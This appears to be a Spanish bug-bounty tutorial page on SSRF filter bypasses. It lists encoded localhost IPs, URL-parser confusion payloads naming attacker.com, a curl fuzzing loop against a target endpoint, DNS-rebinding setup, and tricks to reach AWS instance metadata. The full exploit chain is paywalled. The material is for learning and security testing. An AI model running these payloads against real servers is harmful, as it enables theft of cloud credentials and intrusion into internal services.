Nivel AvanzadoPremium

SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://

Catálogo completo de bypasses SSRF en 2026: IP encodings (decimal, hex, octal, dword), DNS rebinding, IPv6 abuse, cloud metadata (AWS IMDSv2, GCP, Azure), gopher:// para chaining a Redis/Memcached RCE.

Gorka El Bochi11 de mayo de 202618 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

SSRF en 2026 sigue activo porque la mayoría de allowlists validan el host antes de la resolución DNS y nunca re-validan después del redirect. La estrategia: IP encoding (decimal/hex/octal/IPv6) → DNS rebinding para target con dual-resolve → redirect chain a file:// o gopher:// → cloud metadata (AWS IMDSv2 con headers, GCP Metadata-Flavor, Azure Metadata: true) → service-specific gopher para escalar a RCE en Redis/Memcache/MySQL.


Encoding del host — el primer pase

El parser de URL del lenguaje server-side suele aceptar formas que el validator no contempla. Antes de payloads exóticos, prueba IP variants triviales:

FormaEquivalenteCuándo funciona
127.0.0.1localhostBaseline, casi siempre bloqueado
127.1localhostValidators con regex ^127\.0\.0\.1$
127.000.000.001localhostValidators que comparan literal
2130706433decimal de 127.0.0.1Validators que no normalizan
0x7f000001hex de 127.0.0.1Same
017700000001octal de 127.0.0.1Curl + libcurl lo aceptan
00.0.0.0 → bound localhostLinux only, sorprendente que funciona
[::]IPv6 all-zeroRoutea a localhost
[0:0:0:0:0:ffff:127.0.0.1]IPv4-mapped IPv6Bypass de validators IPv4-only
127。0。0。1Unicode fullwidth dotWHATWG parser normaliza
localtest.meDNS apunta a 127.0.0.1DNS-level resolve to localhost

Script de fuzzing rápido

bash
for payload in 127.0.0.1 127.1 2130706433 0x7f000001 017700000001 \
               '[::]' '[::ffff:127.0.0.1]' localtest.me '127。0。0。1' 0; do
  curl -s -o /dev/null -w "%{http_code} $payload\n" \
       "https://target.com/api/fetch?url=http://$payload/"
done

Una respuesta distinta del 4xx baseline (302, 200, 500) indica que el payload pasa el filtro y el backend intenta conexión.


Hostname tricks — confusion entre validator y client

El validator y el HTTP client suelen usar parsers distintos. Diferencia entre WHATWG URL Standard (browsers, parser moderno) y RFC 3986 (parser legacy server-side):

java
http://attacker.com\@victim.com
       ↑ WHATWG ve "victim.com" como host (backslash = slash)
       ↑ RFC3986 parser server-side ve "attacker.com" como host

Si el validator está en JS (WHATWG) y el fetcher en Python (RFC3986), el bypass es trivial.

less
@attacker.com.victim.com
victim.com#@attacker.com
victim.com@attacker.com
victim.com?@attacker.com
attacker.com;victim.com
victim.com%2eattacker.com

DNS rebinding — el bypass universal contra TOCTOU

Cuando el validator hace una resolución DNS, confirma que es externa, y luego el fetcher hace su propia resolución, hay una ventana donde el DNS puede contestar 8.8.8.8 la primera vez y 169.254.169.254 la segunda.

Setup

  1. Atacante controla un DNS server (rbndr.us, DNS dinámico custom o singularity de NCC Group).
  2. Domain con TTL=0 que responde alternando IPs:
    • Query 1: 1.2.3.4 (público, pasa el validator)
    • Query 2: 169.254.169.254 (IMDS, el fetcher conecta)

Tooling

Singularity of Origin — framework all-in-one:

bash
sudo singularity_server --target=ssrf-target.tld --dns-port=53
# Configura *.s.your-dns.com → IP de Singularity
# Payload: http://s-1-2-3-4-rebind-127-0-0-1.s.your-dns.com/

Por qué AWS IMDSv2 lo mitiga (y por qué falla)

IMDSv2 requiere:

  1. PUT /latest/api/token (genera token de sesión).
  2. GET /latest/meta-data/... con X-aws-ec2-metadata-token: <TOKEN>.

Si el SSRF solo permite GET → bloqueado. Pero:

  • Muchos parsers HTTP server-side aceptan Host: header injection vía CRLF en URL → puedes forzar un PUT.
  • Métodos no estándar via libcurl: curl -X PUT si la primitiva permite.
  • Si el lenguaje usa libraries que siguen redirects 307 (que preservan método) y el atacante controla un servidor que devuelve 307 Location: http://169.254.169.254/latest/api/token con método PUT → token issued.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Ssrf Bypasses Completo

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.